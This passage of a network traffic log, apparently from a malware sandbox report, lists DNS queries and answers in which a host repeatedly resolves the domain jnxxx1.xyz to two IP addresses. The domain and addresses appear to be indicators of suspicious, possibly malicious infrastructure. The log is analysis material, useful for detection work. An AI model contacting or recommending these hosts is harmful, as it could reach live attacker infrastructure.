Jan 14, 2022 14:26:37.565352917 CET	53	63300	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:38.956957102 CET	61449	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:38.978286028 CET	53	61449	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:40.463562965 CET	51275	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:40.482383013 CET	53	51275	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:42.266510963 CET	63492	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:42.286091089 CET	53	63492	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:44.275732040 CET	58945	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:44.295249939 CET	53	58945	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:45.937252998 CET	60779	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:45.956788063 CET	53	60779	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:47.353239059 CET	64014	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:47.373985052 CET	53	64014	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:48.931447029 CET	57091	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:48.950748920 CET	53	57091	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:50.353661060 CET	55904	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:50.373054981 CET	53	55904	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:51.968323946 CET	52109	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:51.989608049 CET	53	52109	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:54.071371078 CET	54450	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:54.090604067 CET	53	54450	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:56.679383039 CET	49374	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:56.698745012 CET	53	49374	8.8.8.8	192.168.2.4
Jan 14, 2022 14:26:58.131524086 CET	50436	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:26:58.151236057 CET	53	50436	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:01.310575962 CET	54256	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:01.331875086 CET	53	54256	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:03.261573076 CET	52189	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:03.280853987 CET	53	52189	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:05.280379057 CET	56131	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:05.299772978 CET	53	56131	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:08.216839075 CET	62992	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:08.235579014 CET	53	62992	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:09.910355091 CET	54432	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:09.929234028 CET	53	54432	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:11.542715073 CET	57227	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:11.562249899 CET	53	57227	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:12.968863964 CET	58383	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:12.986362934 CET	53	58383	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:14.357517004 CET	63136	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:14.377444029 CET	53	63136	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:15.818676949 CET	50911	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:15.835823059 CET	53	50911	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:17.237107992 CET	63409	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:17.256669044 CET	53	63409	8.8.8.8	192.168.2.4
Jan 14, 2022 14:27:18.602826118 CET	59185	53	192.168.2.4	8.8.8.8
Jan 14, 2022 14:27:18.622642994 CET	53	59185	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 14:25:18.056624889 CET	192.168.2.4	8.8.8.8	0x8e89	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:19.820640087 CET	192.168.2.4	8.8.8.8	0x97d3	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:21.168129921 CET	192.168.2.4	8.8.8.8	0x8b03	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:23.134006977 CET	192.168.2.4	8.8.8.8	0xace4	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:25.017433882 CET	192.168.2.4	8.8.8.8	0xfc4c	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:26.369333982 CET	192.168.2.4	8.8.8.8	0xcf70	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:27.930038929 CET	192.168.2.4	8.8.8.8	0x4ff7	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:30.142900944 CET	192.168.2.4	8.8.8.8	0x7f97	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:31.608867884 CET	192.168.2.4	8.8.8.8	0x731b	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:32.993509054 CET	192.168.2.4	8.8.8.8	0x6663	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:34.589889050 CET	192.168.2.4	8.8.8.8	0xb93a	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:35.890702963 CET	192.168.2.4	8.8.8.8	0x29d6	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:37.271411896 CET	192.168.2.4	8.8.8.8	0xe5c	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:38.860811949 CET	192.168.2.4	8.8.8.8	0x15c	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:41.510195971 CET	192.168.2.4	8.8.8.8	0x6840	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:43.901807070 CET	192.168.2.4	8.8.8.8	0x6af4	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:46.438158035 CET	192.168.2.4	8.8.8.8	0x605a	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:48.264461994 CET	192.168.2.4	8.8.8.8	0x2f61	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:50.015372992 CET	192.168.2.4	8.8.8.8	0x1305	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:51.699372053 CET	192.168.2.4	8.8.8.8	0xc8a9	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:53.013324976 CET	192.168.2.4	8.8.8.8	0xb114	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:54.860903025 CET	192.168.2.4	8.8.8.8	0x763d	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:57.426099062 CET	192.168.2.4	8.8.8.8	0x4a3c	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:59.264833927 CET	192.168.2.4	8.8.8.8	0x64ef	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:01.205447912 CET	192.168.2.4	8.8.8.8	0x2e50	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:02.654102087 CET	192.168.2.4	8.8.8.8	0x59d9	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:04.113353968 CET	192.168.2.4	8.8.8.8	0xacb9	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:06.077826977 CET	192.168.2.4	8.8.8.8	0x9f0b	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:07.638314962 CET	192.168.2.4	8.8.8.8	0x4d46	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:09.248760939 CET	192.168.2.4	8.8.8.8	0x5fee	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:12.172061920 CET	192.168.2.4	8.8.8.8	0x575a	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:17.260008097 CET	192.168.2.4	8.8.8.8	0xa3ce	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:21.247929096 CET	192.168.2.4	8.8.8.8	0xe127	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:25.912548065 CET	192.168.2.4	8.8.8.8	0x5d13	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:31.500365019 CET	192.168.2.4	8.8.8.8	0x21b9	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:35.253140926 CET	192.168.2.4	8.8.8.8	0xb7fa	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:37.545703888 CET	192.168.2.4	8.8.8.8	0xd6ba	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:38.956957102 CET	192.168.2.4	8.8.8.8	0x3fe	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:40.463562965 CET	192.168.2.4	8.8.8.8	0x330e	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:42.266510963 CET	192.168.2.4	8.8.8.8	0x7f5d	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:44.275732040 CET	192.168.2.4	8.8.8.8	0xcb02	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:45.937252998 CET	192.168.2.4	8.8.8.8	0x6dfb	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:47.353239059 CET	192.168.2.4	8.8.8.8	0x2a39	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:48.931447029 CET	192.168.2.4	8.8.8.8	0x61e6	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:50.353661060 CET	192.168.2.4	8.8.8.8	0xd717	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:51.968323946 CET	192.168.2.4	8.8.8.8	0xbdac	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:54.071371078 CET	192.168.2.4	8.8.8.8	0x6bf6	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:56.679383039 CET	192.168.2.4	8.8.8.8	0x57ef	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:58.131524086 CET	192.168.2.4	8.8.8.8	0xfb1e	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:01.310575962 CET	192.168.2.4	8.8.8.8	0x2659	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:03.261573076 CET	192.168.2.4	8.8.8.8	0xb719	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:05.280379057 CET	192.168.2.4	8.8.8.8	0x3b77	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:08.216839075 CET	192.168.2.4	8.8.8.8	0x80bc	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:09.910355091 CET	192.168.2.4	8.8.8.8	0xec4d	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:11.542715073 CET	192.168.2.4	8.8.8.8	0xc52a	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:12.968863964 CET	192.168.2.4	8.8.8.8	0x830c	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:14.357517004 CET	192.168.2.4	8.8.8.8	0x5f51	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:15.818676949 CET	192.168.2.4	8.8.8.8	0x6800	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:17.237107992 CET	192.168.2.4	8.8.8.8	0x4719	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)
Jan 14, 2022 14:27:18.602826118 CET	192.168.2.4	8.8.8.8	0xbe8a	Standard query (0)	jnxxx1.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 14, 2022 14:25:18.082303047 CET	8.8.8.8	192.168.2.4	0x8e89	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:18.082303047 CET	8.8.8.8	192.168.2.4	0x8e89	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:19.840229034 CET	8.8.8.8	192.168.2.4	0x97d3	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:19.840229034 CET	8.8.8.8	192.168.2.4	0x97d3	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:21.190475941 CET	8.8.8.8	192.168.2.4	0x8b03	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:21.190475941 CET	8.8.8.8	192.168.2.4	0x8b03	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:23.153997898 CET	8.8.8.8	192.168.2.4	0xace4	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:23.153997898 CET	8.8.8.8	192.168.2.4	0xace4	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:25.042206049 CET	8.8.8.8	192.168.2.4	0xfc4c	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:25.042206049 CET	8.8.8.8	192.168.2.4	0xfc4c	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:26.386985064 CET	8.8.8.8	192.168.2.4	0xcf70	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:26.386985064 CET	8.8.8.8	192.168.2.4	0xcf70	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:27.955796957 CET	8.8.8.8	192.168.2.4	0x4ff7	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:27.955796957 CET	8.8.8.8	192.168.2.4	0x4ff7	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:30.163605928 CET	8.8.8.8	192.168.2.4	0x7f97	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:30.163605928 CET	8.8.8.8	192.168.2.4	0x7f97	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:31.626277924 CET	8.8.8.8	192.168.2.4	0x731b	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:31.626277924 CET	8.8.8.8	192.168.2.4	0x731b	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:33.019890070 CET	8.8.8.8	192.168.2.4	0x6663	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:33.019890070 CET	8.8.8.8	192.168.2.4	0x6663	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:34.609421015 CET	8.8.8.8	192.168.2.4	0xb93a	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:34.609421015 CET	8.8.8.8	192.168.2.4	0xb93a	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:35.910164118 CET	8.8.8.8	192.168.2.4	0x29d6	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:35.910164118 CET	8.8.8.8	192.168.2.4	0x29d6	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:37.289113045 CET	8.8.8.8	192.168.2.4	0xe5c	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:37.289113045 CET	8.8.8.8	192.168.2.4	0xe5c	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:38.878523111 CET	8.8.8.8	192.168.2.4	0x15c	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:38.878523111 CET	8.8.8.8	192.168.2.4	0x15c	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:41.529974937 CET	8.8.8.8	192.168.2.4	0x6840	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:41.529974937 CET	8.8.8.8	192.168.2.4	0x6840	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:43.926961899 CET	8.8.8.8	192.168.2.4	0x6af4	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:43.926961899 CET	8.8.8.8	192.168.2.4	0x6af4	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:46.466119051 CET	8.8.8.8	192.168.2.4	0x605a	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:46.466119051 CET	8.8.8.8	192.168.2.4	0x605a	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:48.285516024 CET	8.8.8.8	192.168.2.4	0x2f61	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:48.285516024 CET	8.8.8.8	192.168.2.4	0x2f61	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:50.034662008 CET	8.8.8.8	192.168.2.4	0x1305	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:50.034662008 CET	8.8.8.8	192.168.2.4	0x1305	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:51.718610048 CET	8.8.8.8	192.168.2.4	0xc8a9	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:51.718610048 CET	8.8.8.8	192.168.2.4	0xc8a9	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:53.040281057 CET	8.8.8.8	192.168.2.4	0xb114	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:53.040281057 CET	8.8.8.8	192.168.2.4	0xb114	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:54.880390882 CET	8.8.8.8	192.168.2.4	0x763d	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:54.880390882 CET	8.8.8.8	192.168.2.4	0x763d	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:57.448802948 CET	8.8.8.8	192.168.2.4	0x4a3c	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:57.448802948 CET	8.8.8.8	192.168.2.4	0x4a3c	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:59.284394979 CET	8.8.8.8	192.168.2.4	0x64ef	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:25:59.284394979 CET	8.8.8.8	192.168.2.4	0x64ef	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:01.225044012 CET	8.8.8.8	192.168.2.4	0x2e50	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:01.225044012 CET	8.8.8.8	192.168.2.4	0x2e50	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:02.673482895 CET	8.8.8.8	192.168.2.4	0x59d9	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:02.673482895 CET	8.8.8.8	192.168.2.4	0x59d9	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:04.130435944 CET	8.8.8.8	192.168.2.4	0xacb9	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:04.130435944 CET	8.8.8.8	192.168.2.4	0xacb9	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:06.095539093 CET	8.8.8.8	192.168.2.4	0x9f0b	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:06.095539093 CET	8.8.8.8	192.168.2.4	0x9f0b	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:07.657782078 CET	8.8.8.8	192.168.2.4	0x4d46	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:07.657782078 CET	8.8.8.8	192.168.2.4	0x4d46	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:09.268064976 CET	8.8.8.8	192.168.2.4	0x5fee	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:09.268064976 CET	8.8.8.8	192.168.2.4	0x5fee	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:12.191605091 CET	8.8.8.8	192.168.2.4	0x575a	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:12.191605091 CET	8.8.8.8	192.168.2.4	0x575a	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:17.279648066 CET	8.8.8.8	192.168.2.4	0xa3ce	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:17.279648066 CET	8.8.8.8	192.168.2.4	0xa3ce	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:21.269567013 CET	8.8.8.8	192.168.2.4	0xe127	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:21.269567013 CET	8.8.8.8	192.168.2.4	0xe127	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:25.929693937 CET	8.8.8.8	192.168.2.4	0x5d13	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:25.929693937 CET	8.8.8.8	192.168.2.4	0x5d13	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:31.519778967 CET	8.8.8.8	192.168.2.4	0x21b9	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:31.519778967 CET	8.8.8.8	192.168.2.4	0x21b9	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:35.270370007 CET	8.8.8.8	192.168.2.4	0xb7fa	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:35.270370007 CET	8.8.8.8	192.168.2.4	0xb7fa	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:37.565352917 CET	8.8.8.8	192.168.2.4	0xd6ba	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:37.565352917 CET	8.8.8.8	192.168.2.4	0xd6ba	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:38.978286028 CET	8.8.8.8	192.168.2.4	0x3fe	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:38.978286028 CET	8.8.8.8	192.168.2.4	0x3fe	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:40.482383013 CET	8.8.8.8	192.168.2.4	0x330e	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:40.482383013 CET	8.8.8.8	192.168.2.4	0x330e	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:42.286091089 CET	8.8.8.8	192.168.2.4	0x7f5d	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:42.286091089 CET	8.8.8.8	192.168.2.4	0x7f5d	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:44.295249939 CET	8.8.8.8	192.168.2.4	0xcb02	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:44.295249939 CET	8.8.8.8	192.168.2.4	0xcb02	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:45.956788063 CET	8.8.8.8	192.168.2.4	0x6dfb	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:45.956788063 CET	8.8.8.8	192.168.2.4	0x6dfb	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:47.373985052 CET	8.8.8.8	192.168.2.4	0x2a39	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:47.373985052 CET	8.8.8.8	192.168.2.4	0x2a39	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:48.950748920 CET	8.8.8.8	192.168.2.4	0x61e6	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:48.950748920 CET	8.8.8.8	192.168.2.4	0x61e6	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:50.373054981 CET	8.8.8.8	192.168.2.4	0xd717	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:50.373054981 CET	8.8.8.8	192.168.2.4	0xd717	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:51.989608049 CET	8.8.8.8	192.168.2.4	0xbdac	No error (0)	jnxxx1.xyz	172.67.198.111	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:51.989608049 CET	8.8.8.8	192.168.2.4	0xbdac	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
Jan 14, 2022 14:26:54.090604067 CET	8.8.8.8	192.168.2.4	0x6bf6	No error (0)	jnxxx1.xyz	104.21.60.171	A (IP address)	IN (0x0001)
